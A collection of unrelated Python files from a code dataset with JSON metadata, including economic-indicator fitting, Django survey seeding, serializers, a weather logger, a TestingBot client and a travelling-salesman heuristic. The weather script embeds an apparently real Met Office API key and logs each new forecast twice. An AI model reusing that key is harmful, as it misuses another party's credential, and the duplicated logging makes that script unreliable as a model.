self.indicator_dataset[indicator]['fit']['rlm_model'].params[0]\n df_ols_dataset[indicator] = indicator_data_ols\n df_rlm_dataset[indicator] = indicator_data_rlm\n df_ols_dataset = pd.DataFrame(df_ols_dataset)\n df_rlm_dataset = pd.DataFrame(df_rlm_dataset)\n\ndef resample_dataseries(series, original_frequency, column_name):\n return series.asfreq(original_frequency, method='ffill').dropna(axis=0, how='all').resample('M').last()[column_name]\n\n\nclass LeadingIndicatorManager(object):\n \"\"\"\n This manages the leading indicators\n Indicator_series is simply a list with the names of the series in the dataset you want to use.\n Reference series is the name of the reference series.\n \"\"\"\n def __init__(self, reference_series, indicator_series):\n self._data = EconomicDataLoad()\n self._metadata = EconomicMetadataLoad()\n indicator_lei_series = {}\n for series_name in indicator_series:\n series_data = self._data[series_name]\n try:\n series_frequency = self._metadata[series_name]['resample_information']['frequency']\n series_column = self._metadata[series_name]['resample_information']['column_name']\n indicator_lei_series[series_name] = resample_dataseries(series_data, series_frequency, series_column)\n except:\n print(\"The indicator {0} does not have resampling information.\".format(series_name))\n continue\n\n indicator_seasonal_data = {}\n for indicator in indicator_lei_series:\n indicator_series = indicator_lei_series[indicator]\n indicator_seasonally_adjusted_model = SeasonalAdjustment(indicator_series)\n indicator_series_fit = indicator_seasonally_adjusted_model.fit()\n indicator_seasonal_data[indicator] = indicator_series_fit\n\n self._indicator_raw_data = indicator_lei_series\n self._indicator_seasonal_data = indicator_seasonal_data\n\n lei_reference_series_data = self._data[reference_series]\n lei_reference_series_frequency = self._metadata[reference_series]['resample_information']['frequency']\n lei_reference_series_column = self._metadata[reference_series]['resample_information']['column_name']\n lei_reference_series = resample_dataseries(lei_reference_series_data, lei_reference_series_frequency, lei_reference_series_column)\n lei_reference_seasonal_model = SeasonalAdjustment(lei_reference_series)\n lei_reference_seasonal_fit = lei_reference_seasonal_model.fit()\n\n self._reference_raw_data = lei_reference_series\n self._reference_seasonal_data = lei_reference_seasonal_fit\n\n\n indicator_lead_data = {}\n for indicator in self._indicator_seasonal_data:\n indicator_lead_model = LeadingIndicatorAnalysis(lei_reference_seasonal_fit['cycles'],\n self._indicator_seasonal_data[indicator]['cycles'])\n indicator_lead_model_fit = indicator_lead_model.fit(expected_sign=self._metadata[indicator]['resample_information']['expected_sign'])\n indicator_lead_data[indicator] = indicator_lead_model_fit\n\n self._indicator_lead_data = indicator_lead_data\n\n\n def fit(self):\n \"\"\"\n Just fits all the indicators to the reference data, if the indicators are valid.\n \"\"\"\n indicators_to_fit = []\n for indicator in self._indicator_lead_data:\n try:\n if self._indicator_lead_data[indicator]['valid_model']:\n indicators_to_fit.append(indicator)\n else:\n print(\"The indicator {0} has not been selected for the LEI. Reason below.\\n\".format(indicator) + self._indicator_lead_data[indicator]['reasoning'])\n except:\n print(\"Weird! The indicator {0} can't be found.\".format(indicator))\n\n df_ols_dataset = {}\n df_rlm_dataset = {}\n for indicator in indicators_to_fit:\n indicator_data = self._indicator_lead_data[indicator]['analysis_model'].indicator_series\n indicator_data = indicator_data.shift(self._indicator_lead_data[indicator]['lead'], freq='M')\n indicator_data_ols = indicator_data * self._indicator_lead_data[indicator]['fit']['ols_model'].params[0]\n indicator_data_rlm = indicator_data * self._indicator_lead_data[indicator]['fit']['rlm_model'].params[0]\n df_ols_dataset[indicator] = indicator_data_ols\n df_rlm_dataset[indicator] = indicator_data_rlm\n df_ols_dataset = pd.DataFrame(df_ols_dataset)\n df_rlm_dataset = pd.DataFrame(df_rlm_dataset)\n df_ols_dataset = df_ols_dataset.sum(axis=1, numeric_only=True)\n df_rlm_dataset = df_rlm_dataset.sum(axis=1, numeric_only=True)\n ols_result = ((df_ols_dataset - min(df_ols_dataset))/(max(df_ols_dataset) - min(df_ols_dataset))*2 - 1)\n rlm_result = ((df_rlm_dataset - min(df_rlm_dataset))/(max(df_rlm_dataset) - min(df_rlm_dataset))*2 - 1)\n result = {\n 'ols_result': ols_result,\n 'rlm_result': rlm_result\n }\n\n # Now let's run a final regression\n # The way I'm doing this is using the LeadingIndicatorAnalysis, for easiness\n ols_leading_result = LeadingIndicatorAnalysis(self._reference_seasonal_data['cycles'], ols_result)\n ols_leading_result = ols_leading_result._performance(0)['ols_model'] # Want 0 lead\n\n rlm_leading_result = LeadingIndicatorAnalysis(self._reference_seasonal_data['cycles'], rlm_result)\n rlm_leading_result = rlm_leading_result._performance(0)['ols_model'] # Want 0 lead\n\n result = {\n 'ols_lei': ols_result,\n 'rlm_lei': rlm_result,\n 'ols_result': ols_leading_result,\n 'rlm_result': rlm_leading_result,\n\n }\n\n return result","sub_path":"ihs_lei/analytics/aggregation.py","file_name":"aggregation.py","file_ext":"py","file_size_in_byte":7894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"43030249","text":"import datetime\nimport random\nfrom pytz import timezone\nfrom django.core.management.base import BaseCommand\n\nfrom unite.surveys.models import Survey, Question\nfrom unite.responses.models import Response\nfrom django.contrib.auth import get_user_model\nfrom .clear_responses import Command as ClearResponses\nUser = get_user_model()\n\ntzinfo = timezone('US/Eastern')\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **kwargs):\n survey = Survey.objects.filter(is_hcahps=True).all()[0]\n ClearResponses().handle(survey=survey.id)\n users = User.objects.all()\n responses = []\n\n past_start_point = datetime.datetime.today().replace(tzinfo=tzinfo) - datetime.timedelta(days=365)\n for m in range(1, 12):\n for d in range(1, 28):\n for _ in range(5):\n user = random.choice(users)\n for question in survey.questions.all():\n weighted_ops = []\n for i in range(len(question.options)):\n weighted_ops += [i] * (i * (m-6) - 2 * (m-12))\n #created_on = datetime.datetime(2015, m, d, tzinfo=tzinfo)\n created_on = past_start_point + datetime.timedelta(\n days=(d + 30*m)\n )\n answer = random.choice(weighted_ops)\n responses.append(Response(survey=survey,\n question=question,\n respondent=user,\n created_on=created_on,\n answer_single=answer))\n Response.objects.bulk_create(responses)\n","sub_path":"unite/responses/management/commands/create_hcahps_responses.py","file_name":"create_hcahps_responses.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"573189219","text":"from rest_framework import serializers\nfrom models import *\nfrom django.contrib.auth.models import User\n\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n\n# Mixin for allowing request to specify fields to which result JSON should be limited\n# https://gist.github.com/dbrgn/4e6fc1fe5922598592d6\nclass DynamicFieldsMixin(object):\n \"\"\"\n A serializer mixin that takes an additional `fields` argument that controls\n which fields should be displayed.\n\n Usage::\n\n class MySerializer(DynamicFieldsMixin, serializers.HyperlinkedModelSerializer):\n class Meta:\n model = MyModel\n\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(DynamicFieldsMixin, self).__init__(*args, **kwargs)\n # Access the fields parameter of the request that this serializers view receives\n fields = self.context['request'].QUERY_PARAMS.get('fields')\n\n if fields:\n fields = fields.split(',')\n # Drop any fields that are not specified in the `fields` argument.\n allowed = set(fields)\n existing = set(self.fields.keys())\n for field_name in existing - allowed:\n self.fields.pop(field_name)\n\n\nclass AlbumSerializer(DynamicFieldsMixin, serializers.ModelSerializer):\n class Meta:\n model = Album\n\n\nclass ArtistSerializer(DynamicFieldsMixin, serializers.ModelSerializer):\n class Meta:\n model = Artist\n\n\n# class SongListSerializer(DynamicFieldsMixin, serializers.ModelSerializer):\nclass SongSerializer(serializers.ModelSerializer):\n\n # Add fields that are generated by @property decorated model methods on the Song model\n snippet = serializers.CharField(source='lyrics_snippet', read_only='True')\n release_date = serializers.DateField(source='album_release_date', read_only='True')\n\n # get fields from related models\n album = serializers.CharField(source='album.title', read_only='True')\n artist = serializers.CharField(source='artist.name', read_only='True')\n\n class Meta:\n model = Song\n\n\n# includes the DynamicFieldsMixin which parses the 'fields' query parameter and returns only those fields in result\n# the actual model lives inside the 'object' attribute on the results returned from the Haystack SearchQuerySet method\nclass LyricsSearchSerializer(serializers.Serializer):\n\n def __init__(self, *args, **kwargs):\n super(LyricsSearchSerializer, self).__init__(*args, **kwargs)\n\n # removing fields from the object attribute of the Haystack queryset\n # object contains the actual model fields - in this case of the Song model or related model fields\n # because the nested serializer gets instantiated before the 'context' dir is available to extract query params\n # modification of which fields are included must happen here in __init__\n requested_fields = self.context['request'].QUERY_PARAMS.get('fields')\n\n if requested_fields:\n requested_fields = requested_fields.split(',')\n # Drop any fields that are not specified in the `fields` argument.\n allowed = set(requested_fields)\n existing = set(self.fields['object'].fields.keys())\n for field_name in existing - allowed:\n self.fields['object'].fields.pop(field_name)\n\n # serialize nested attribute object\n object = SongSerializer()\n\n","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"42211321","text":"#!/usr/bin/env python\n\n## script to retrieve weather forecasts for the next 5 days for Kirkwall Airport\n## which are stored in an sqlite3 database file\n## the forecasts are revised and updated every hour.\n\n## Stuart Rendall\n## MSc Web technologies project\n## May 2019\n\n## detailed instructions \n## https://www.metoffice.gov.uk/datapoint/product/uk-3hourly-site-specific-forecast/detailed-documentation\n\nimport sqlite3\n\nimport os\nimport datetime\nimport glob\nimport urllib.request,json\nimport logging\n\nfrom urllib.request import Request, urlopen\n\n\n\n# global variables\ndbname='/home/pi/ssen/database/forecastlog.db'\nlogging.basicConfig(filename='/home/pi/ssen/database/forecast.log',format='%(asctime)s %(message)s',level=logging.DEBUG)\n\n# get data from met office website\n# def get_data():\n # with urllib.request.urlopen(\"http://datapoint.metoffice.gov.uk/public/data/val/wxfcs/all/json/352157?res=3hourly&?key=d4ea5cd6-6cfd-4f4c-8098-62497d80eb52\") as url:\n\n # data = json.loads(url.read().decode())\n # forecast_data = data['SiteRep']['DV']\n \n # return forecast_data\n\n# get data from met office website\ndef get_data():\n req = Request(\"http://datapoint.metoffice.gov.uk/public/data/val/wxfcs/all/json/352157?res=3hourly&?key=d4ea5cd6-6cfd-4f4c-8098-62497d80eb52\",headers={'User-Agent': 'Mozilla/5.0'})\n\t\n webpage = urlopen(req).read()\n my_json = webpage.decode('utf8').replace(\"'\", '\"')\n\n data = json.loads(my_json)\n forecast_data = data['SiteRep']['DV']\n\n return forecast_data\n\n# store the data in the database\ndef log_data(forecast):\n\n conn=sqlite3.connect(dbname)\n curs=conn.cursor()\n\n curs.execute(\"INSERT INTO rep VALUES (datetime('now'), ?)\",\n (forecast,))\n\n # commit the changes\n conn.commit()\n\n conn.close()\n\n # print(' store routine called')\n\ndef get_last_written_record():\n conn=sqlite3.connect(dbname)\n curs=conn.cursor()\n\n curs.execute(\"SELECT forecast FROM rep ORDER BY timestamp DESC LIMIT 1\")\n rec= curs.fetchone()\n\n # commit the changes\n conn.commit()\n\n conn.close()\n return rec\n\n\ncur_forecast = json.dumps(get_data(), sort_keys=True)\nlast_forecast = get_last_written_record()[0]\n#print(cur_forecast)\nlog_data(cur_forecast)\nlogging.info('New Forecast recorded')\n#print(last_forecast)\nif (cur_forecast!=last_forecast):\n log_data(cur_forecast)\n logging.info('New forecast recorded')\nelse:\n logging.info('still same forecast')\n\n","sub_path":"logging/getKirkwallForecastv2.py","file_name":"getKirkwallForecastv2.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"136130096","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def closestValue(self, root, target):\n \"\"\"\n :type root: TreeNode\n :type target: float\n :rtype: int\n \"\"\"\n if not root:\n return sys.maxint\n\n child = root.left if root.val > target else root.right\n closest = self.closestValue(child, target)\n return closest if abs(closest-target) < abs(root.val-target) else root.val\n \n def closestValue(self, root, target):\n \"\"\"\n :type root: TreeNode\n :type target: float\n :rtype: int\n \"\"\"\n child = root.left if root.val > target else root.right\n if child:\n closest = self.closestValue(child, target)\n else:\n return root.val\n return closest if abs(closest-target) < abs(root.val-target) else root.val\n \n #iterative solution\n def closestValue(self, root, target):\n \"\"\"\n :type root: TreeNode\n :type target: float\n :rtype: int\n \"\"\"\n closest = root.val\n while root:\n if abs(root.val-target) < abs(closest-target):\n closest = root.val\n if target < root.val:\n root = root.left\n else:\n root = root.right\n return closest\n \n","sub_path":"Python_leetcode/270_closest_bst_value.py","file_name":"270_closest_bst_value.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"577469967","text":"from snovault import upgrade_step\nfrom . import _get_biofeat_for_target as getbf4t\n\n\n@upgrade_step('antibody', '1', '2')\ndef antibody_1_2(value, system):\n ''' upgrading target to array of biofeatures '''\n abtarget = value.get('antibody_target')\n if abtarget:\n del value['antibody_target']\n note = 'Old Target: {}'.format(abtarget)\n targets = system['registry']['collections']['Target']\n biofeats = system['registry']['collections']['BioFeature']\n target = targets.get(abtarget)\n if target:\n bfuuid = getbf4t(target, biofeats)\n if bfuuid:\n value['antibody_target'] = [bfuuid]\n else:\n note = 'UPDATE NEEDED: ' + note\n if 'notes' in value:\n note = value['notes'] + '; ' + note\n value['notes'] = note\n","sub_path":"src/encoded/upgrade/antibody.py","file_name":"antibody.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"26053920","text":"#!/usr/bin/env python\n\nimport base64\nimport sys\nimport json\nimport os\n__version__ = '0.0.3'\n\nis_py2 = sys.version_info[0] is 2\n\nif is_py2:\n import httplib as http_client\nelse:\n import http.client as http_client\n\n\ndef json_loads(json_data):\n if not is_py2:\n json_data = json_data.decode(encoding='UTF-8')\n return json.loads(json_data)\n\nclass TestingBotException(Exception):\n def __init__(self, *args, **kwargs):\n super(TestingBotException, self).__init__(*args, **kwargs)\n\nclass TestingBotClient(object):\n def __init__(self, testingbotKey=None, testingbotSecret=None):\n self.testingbotKey = testingbotKey\n self.testingbotSecret = testingbotSecret\n if self.testingbotKey is None:\n self.testingbotKey = os.environ.get('TESTINGBOT_KEY', None)\n self.testingbotSecret = os.environ.get('TESTINGBOT_SECRET', None)\n\n if self.testingbotKey is None:\n path = os.path.join(os.path.expanduser('~'), '.testingbot')\n if os.path.exists(path):\n f = open(path, 'r')\n data = f.read()\n self.testingbotKey, self.testingbotSecret = data.split(':')\n f.close()\n\n self.headers = self.make_headers()\n self.information = Information(self)\n self.tests = Tests(self)\n self.user = User(self)\n\n def make_headers(self):\n base64string = self.get_encoded_auth_string()\n headers = {\n 'Authorization': 'Basic {0!s}'.format(base64string),\n 'Content-Type' : 'application/x-www-form-urlencoded'\n }\n return headers\n\n def request(self, method, url, body=None):\n connection = http_client.HTTPSConnection('api.testingbot.com')\n # connection.set_debuglevel(1)\n connection.request(method, \"/v1\" + url, body, headers=self.headers)\n response = connection.getresponse()\n json_data = response.read()\n connection.close()\n if response.status != 200:\n raise TestingBotException('Failed to contact TestingBot API: {0!s} | {1!s}'.format(response.status, response.reason))\n return json_data\n\n def get_encoded_auth_string(self):\n auth_info = '{0!s}:{1!s}'.format(self.testingbotKey, self.testingbotSecret)\n if is_py2:\n base64string = base64.b64encode(auth_info)[:-1]\n else:\n base64string = base64.b64encode(auth_info.encode(encoding='UTF-8')).decode(encoding='UTF-8')\n return base64string\n\n\nclass Tests(object):\n def __init__(self, client):\n self.client = client\n\n def get_test_ids(self):\n \"\"\"List all tests sessionId's belonging to the user.\"\"\"\n method = 'GET'\n url = '/tests'\n json_data = self.client.request(method, url)\n tests = json_loads(json_data)\n test_ids = [attr['session_id'] for attr in tests['data']]\n return test_ids\n\n def get_tests(self):\n \"\"\"List all tests belonging to the user.\"\"\"\n method = 'GET'\n url = '/tests'\n json_data = self.client.request(method, url)\n tests = json_loads(json_data)\n return tests[\"data\"]\n\n def update_test(self, sessionId, name=None, passed=None, status_message=None):\n \"\"\"Update attributes for the specified test.\"\"\"\n params = []\n\n if status_message is not None:\n params.append('test[status_message]={0!s}'.format(status_message))\n if name is not None:\n params.append('test[name]={0!s}'.format(name))\n if passed is not None:\n params.append('test[success]={0!s}'.format(('1' if passed else '0')))\n body = '&'.join(params)\n method = 'PUT'\n url = '/tests/{0!s}'.format(sessionId)\n json_data = self.client.request(method, url, body=body)\n response = json_loads(json_data)\n return response['success']\n\n def delete_test(self, sessionId):\n \"\"\"Deletes a test.\"\"\"\n method = 'DELETE'\n url = '/tests/{0!s}'.format(sessionId)\n json_data = self.client.request(method, url)\n response = json_loads(json_data)\n return response['success']\n\nclass Information(object):\n def __init__(self, client):\n self.client = client\n\n def get_browsers(self):\n \"\"\"Get details of all browsers currently supported on TestingBot\"\"\"\n method = 'GET'\n url = '/browsers'\n json_data = self.client.request(method, url)\n browsers = json_loads(json_data)\n return browsers\n\n\nclass User(object):\n def __init__(self, client):\n self.client = client\n\n def get_user_information(self):\n \"\"\"Access current user information\"\"\"\n method = 'GET'\n url = '/user'\n json_data = self.client.request(method, url)\n info = json_loads(json_data)\n return info","sub_path":"testingbotclient.py","file_name":"testingbotclient.py","file_ext":"py","file_size_in_byte":4822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"544470539","text":"from flask import Flask, request, jsonify\nfrom src import review_python\n\napp = Flask(__name__)\n\n@app.route('/python', methods=['POST'])\ndef python_api_reviewer():\n data = request.get_json()\n content = data['content']\n result = review_python(content)\n return jsonify(result)\n","sub_path":"packages/python-packages/apiview-gpt/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"414640816","text":"# Exam Programming Prob 1 \r\n\r\n\r\n# Allyson Gamboa 02/21/2019\r\n\r\n# Gradebook program\r\n# Input gets a users score and displays a grade value between A-F\r\n\r\n\r\n \r\n# Input variables \r\n\r\n# score\r\nscore = int(input('Please enter a score 1-100: '))\r\n\r\n# Ask user to input score. You do NOT have to validate the input. Assume it is integer. \r\n\r\n \r\n# Print out the input in the form Score input = . \r\n\r\n# Constants\r\n\r\nA_score = 90 \r\n\r\nB_score = 80 \r\n\r\nC_score = 70 \r\n\r\nD_score = 60 \r\n\r\n#Output variables\r\n# A_score = score >= A_score\r\n\r\n# B_score = score >= B_score\r\n\r\n# C_score = score >= C_score\r\n\r\n# D_score = score >= D_score\r\n\r\n \r\n\r\n\r\n\r\nif score >= A_score: \r\n print('Your grade is A.') \r\n\r\nelif score >= B_score: \r\n\r\n print('Your grade is B.') \r\n\r\nelif score >= C_score: \r\n\r\n print('Your grade is C.') \r\n\r\nelif score >= D_score: \r\n\r\n print('Your grade is D.') \r\n\r\nelse: \r\n\r\n print('Your grade is F.') \r\n\r\n \r\n","sub_path":"progprob1.py","file_name":"progprob1.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"356196420","text":"#Pavlina Petrova\r\nimport pandas as pd\r\nimport numpy as np\r\nimport pytest\r\nimport math\r\nimport random\r\n\r\ndef read_cities(file_name):\r\n \"\"\"\r\n Read in the cities from the given `file_name`, and return \r\n them as a list of four-tuples: \r\n\r\n [(state, city, latitude, longitude), ...] \r\n \"\"\"\r\n\r\n pd.options.display.float_format = '{:,.2f}'.format\r\n df = pd.read_csv('city-data.txt', sep=\"\\t\", header=None)\r\n city_data=[]\r\n for index, row in df.iterrows():\r\n city_data.append(tuple(row))\r\n return city_data\r\n \r\ndef print_cities(road_map):\r\n \"\"\"\r\n Prints a list of cities, along with their locations. \r\n Print only one or two digits after the decimal point.\r\n \"\"\"\r\n print(\"first version of roadmap\")\r\n for i,city in enumerate(road_map):\r\n print(road_map[i][1],round(road_map[i][2],2),round(road_map[i][3],2))\r\n\r\ndef compute_total_distance(road_map):\r\n \"\"\"\r\n Returns, as a floating point number, the sum of the distances of all \r\n the connections in the `road_map`. Remember that it's a cycle, so that \r\n (for example) in the initial `road_map`, Wyoming connects to Alabama...\r\n \r\n\r\n Arguments:\r\n road_map -- list of 4-tuples\r\n\r\n Return:\r\n z -- a float, identifying csum of the distances of all the connections in the `road_map`\r\n \"\"\"\r\n \r\n total_distance=[]\r\n for i in range(1,len(road_map)):\r\n total_distance.append(math.sqrt((road_map[i][2]-road_map[i-1][2])**2+(road_map[i][3]-road_map[i-1][3])**2))\r\n total_distance.append(math.sqrt((road_map[len(road_map)-1][2]-road_map[0][2])**2+(road_map[len(road_map)-1][3]-road_map[0][3])**2))\r\n \r\n return sum(total_distance)\r\n\r\ndef swap_adjacent_cities(road_map, index):\r\n \"\"\"\r\n Take the city at location `index` in the `road_map`, and the city at \r\n location `index+1` (or at `0`, if `index` refers to the last element \r\n in the list), swap their positions in the `road_map`, compute the \r\n new total distance, and return the tuple \r\n\r\n Arguments:\r\n road_map -- list of 4-tuples\r\n index -- city location in the `road_map`\r\n\r\n Return:\r\n (new_road_map, new_total_distance) - a tuple of changed road_map and calculated total\r\n distanse\r\n \"\"\"\r\n road_map[index],road_map[(index + 1) % len(road_map)]=road_map[(index + 1) % len(road_map)],road_map[index] \r\n new_total_distance=compute_total_distance(road_map)\r\n return (road_map,new_total_distance)\r\n\r\ndef swap_cities(road_map, index1, index2):\r\n \"\"\"\r\n Take the city at location `index1` and `index2` in the `road_map`,\r\n swap their positions in the `road_map`, \r\n computes the new total distance, and return the tuple \r\n\r\n Arguments:\r\n road_map -- list of 4-tuples\r\n index1, index2 -- city locations in the `road_map`\r\n\r\n Return:\r\n (new_road_map, new_total_distance) - a tuple of changed road_map and calculated total\r\n distanse\r\n \"\"\"\r\n if index1==index2:\r\n pass\r\n else:\r\n road_map[index1], road_map[index2] = road_map[index2], road_map[index1]\r\n \r\n new_total_distance=compute_total_distance(road_map)\r\n \r\n return (road_map,new_total_distance)\r\n\r\ndef find_best_cycle(road_map):\r\n\r\n \"\"\"\r\n Using a combination of `swap_cities` and `swap_adjacent_cities`, \r\n makes `10000` swaps.\r\n After `10000` swaps, returns the best cycle found so far.\r\n\r\n Arguments:\r\n road_map -- list of 4-tuples\r\n\r\n Return:\r\n road_map - modified road_map so that distanse is minimal\r\n \r\n \"\"\"\r\n \r\n swap=10000\r\n for i in range(len(road_map)):\r\n distance_min=math.sqrt((road_map[i][2]-road_map[(i + 1) % len(road_map)][2])**2+(road_map[i][3]-road_map[(i + 1) % len(road_map)][3])**2)\r\n for j in range(i+1,len(road_map)):\r\n total_distance=math.sqrt((road_map[i][2]-road_map[j][2])**2+(road_map[i][3]-road_map[j][3])**2)\r\n if total_distance0:\r\n random_state=0\r\n a,b,c=random.sample(range(len(road_map)), 3)\r\n r_rand,t_rand=swap_cities(road_map, a, b)\r\n if t_rand>t:\r\n r,t=swap_cities(road_map, b, a)\r\n swap=swap-1\r\n r_rand_c,t_rand_c=swap_adjacent_cities(road_map, c)\r\n if t_rand_c>min(t,t_rand):\r\n r,t=swap_adjacent_cities(road_map, c)\r\n swap=swap-1\r\n \r\n total=min(t,t_rand, t_rand_c)\r\n if total==t:\r\n return r\r\n elif total==t_rand_c:\r\n return r_rand_c\r\n else:\r\n return r_rand\r\n\r\ndef print_map(road_map):\r\n \"\"\"\r\n Prints the cities and their connections, along with the cost\r\n for each connection and the total cost.\r\n\r\n Arguments:\r\n road_map -- list of 4-tuples\r\n \"\"\"\r\n\r\n print(\"Most efficient route found\")\r\n \r\n df=pd.DataFrame(road_map)\r\n df.columns=[\"State\", \"City\", \"d1\", \"d2\"]\r\n df[\"Connection\"]=df[\"City\"].copy()\r\n df[\"dd1\"]=df[\"d1\"].copy()\r\n df[\"dd2\"]=df[\"d2\"].copy()\r\n\r\n df[\"Connection\"] = df[\"Connection\"].shift(-1)\r\n df[\"dd1\"]=df[\"d1\"].copy().shift(-1)\r\n df[\"dd2\"]=df[\"d2\"].copy().shift(-1)\r\n\r\n df.iloc[-1,4]=df.iloc[0,1]\r\n df.iloc[-1,5]=df.iloc[0,2]\r\n df.iloc[-1,6]=df.iloc[0,3]\r\n\r\n df[\"Distance\"]=np.sqrt((df.iloc[:,2]-df.iloc[:,5])**2+(df.iloc[:,3]-df.iloc[:,6])**2)\r\n df.drop(['State', 'd1', 'd2', 'dd1', 'dd2'], axis=1, inplace=True)\r\n df.index.name = 'No.'\r\n total_dist=compute_total_distance(road_map)\r\n print (df,\"Total distance = \"+ str(round(total_dist,2))+ str(\" miles\"), sep=\"\\n\")\r\n\r\n\r\ndef main():\r\n \"\"\"\r\n Reads in, and prints out, the city data, then creates the \"best\"\r\n cycle and prints it out.\r\n \"\"\"\r\n road_map=read_cities('city-data.txt')\r\n print_cities(road_map)\r\n best_cycle=find_best_cycle(road_map)\r\n print_map(best_cycle)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"Travelling Salesman Assignment.py","file_name":"Travelling Salesman Assignment.py","file_ext":"py","file_size_in_byte":6079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"209368372","text":"\"\"\"\nZeros of Generalized Toric Codes\nConfigurations in K_q^n\nconfigurations.py \n\nCameron Tuckerman\n\"\"\"\n\nfrom elements import *\nfrom groups import *\nfrom polynomials import *\nimport convexhull\n\nclass V:\n\t\"\"\"\n\tPosition vector of a point in a configuration\n\t\"\"\"\n\n\tdef __init__(self,q,p):\n\t\tself._q = q\n\t\tif isinstance(p,M):\n\t\t\tself._v = p\n\t\t\tself._p = [i.i for i in p[0]]\n\t\telse:\n\t\t\tself._p = p\n\t\t\tself._v = M([[EC(i,q-1) for i in p]])\n\n\tdef __repr__(self):\n\t\treturn \"\"\n\n\tdef __hash__(self):\n\t\treturn hash(tuple(self._p))\n\n\tdef __str__(self):\n\t\ttoreturn = \"\"\n\t\tfor i in self:\n\t\t\t\ttoreturn = toreturn + str(i) + \",\"\n\t\treturn \"(\" + toreturn[:-1] + \")\"\n\n\tdef __iter__(self):\n\t\treturn iter(self._v[0])\n\n\tdef __getitem__(self, key):\n\t\treturn self._v[0][key]\n\n\tdef __len__(self):\n\t\treturn len(self._v[0])\n\n\tdef __eq__(self, other):\n\t\treturn (self._v == other._v)\n\n\tdef __lt__(self, other):\n\t\tif len(self) < len(other):\n\t\t\tdefault = True\n\t\t\tl = len(self)\n\t\telse:\n\t\t\tdefault = False\n\t\t\tl = len(other)\n\t\tfor i in range(l):\n\t\t\tif self[i] < other[i]:\n\t\t\t\treturn True\n\t\t\telif self[i] > other[i]:\n\t\t\t\treturn False\n\t\treturn default\n\n\tdef __rmul__(self, other):\n\t\treturn V(self._q,other[0] + (self._v * other[1]))\n\nclass Config:\n\t\"\"\"\n\tConfiguration of points\n\t\"\"\"\n\n\tdef __init__(self,q,P):\n\t\tself._q = q\n\t\tif isinstance(P[0],V):\n\t\t\tself._V = sorted(P)\n\t\t\tself._P = [v._p for v in self._V]\n\t\telse:\n\t\t\tself._P = sorted(P)\n\t\t\tself._V = [V(q,p) for p in self._P]\n\t\tself._d = len(self._P[0])\n\n\tdef __repr__(self):\n\t\treturn \"\"\n\n\tdef __hash__(self):\n\t\treturn hash(tuple(iter(self)))\n\n\tdef __str__(self):\n\t\ttoreturn = \"\"\n\t\tfor i in self:\n\t\t\ttoreturn = toreturn + str(i) + \",\"\n\t\treturn \"{\" + toreturn[:-1] + \"}\"\n\n\tdef __iter__(self):\n\t\treturn iter(self._V)\n\n\tdef __getitem__(self,key):\n\t\treturn self._V[key]\n\n\tdef __len__(self):\n\t\treturn len(self._V)\n\n\tdef __eq__(self,other):\n\t\treturn (self._V == other._V)\n\n\tdef __lt__(self, other):\n\t\tif len(self) < len(other):\n\t\t\tdefault = True\n\t\t\tl = len(self)\n\t\telse:\n\t\t\tdefault = False\n\t\t\tl = len(other)\n\t\tfor i in range(l):\n\t\t\tif self[i] < other[i]:\n\t\t\t\treturn True\n\t\t\telif self[i] > other[i]:\n\t\t\t\treturn False\n\t\treturn default\n\n\tdef __rmul__(self,other):\n\t\treturn Config(self._q,[other*v for v in self])\n\n\tdef orbit(self,gl=None):\n\t\tif hasattr(self,\"_orbit\"):\n\t\t\treturn self._orbit\n\n\t\tif gl is None:\n\t\t\tgl = GL(self._d,self._q-1)\n\t\ttranslations_to_zero = [-1*(i._v) for i in self]\n\t\tZAGL = [[i*j,j] for i in translations_to_zero for j in gl]\n\t\tself._orbit = sorted(list(set([g*self for g in ZAGL])))\n\t\t#for c in self._orbit: c._orbit = self._orbit\n\t\treturn self._orbit\n\n\tdef aglorbit(self):\n\t\tif hasattr(self,\"_aglorbit\"):\n\t\t\treturn self._aglorbit\n\n\t\tagl = AGL(self._d,self._q-1)\n\t\tself._aglorbit = sorted(list(set([g*self for g in agl])))\n\t\tfor c in self._aglorbit: c._aglorbit = self._aglorbit\n\t\treturn self._aglorbit\n\n\tdef aglorbit_gen(self):\n\t\tagl = AGL(self._d,self._q-1)\n\t\tfor g in agl:\n\t\t\tyield g*self\n\n\tdef missing_points(self):\n\t\tif self._d == 2:\n\t\t\treturn convexhull.points(self._P)[1]\n\t\telse:\n\t\t\treturn None\n\n\tdef complete_configuration(self):\n\t\tif self._d == 2:\n\t\t\treturn Config(self._q,convexhull.points(self._P)[0])\n\t\telse:\n\t\t\treturn None\n\n\tdef always_generalized(self):\n\t\tif self._d != 2: return None\n\n\t\tif len(self.missing_points()) == 0:\n\t\t\treturn False\n\t\tfor i in self.aglorbit_gen():\n\t\t\tif len(i.missing_points()) == 0:\n\t\t\t\treturn False\n\t\treturn True\n\n\tdef size_convex_hull(self):\n\t\treturn len(self._P) + 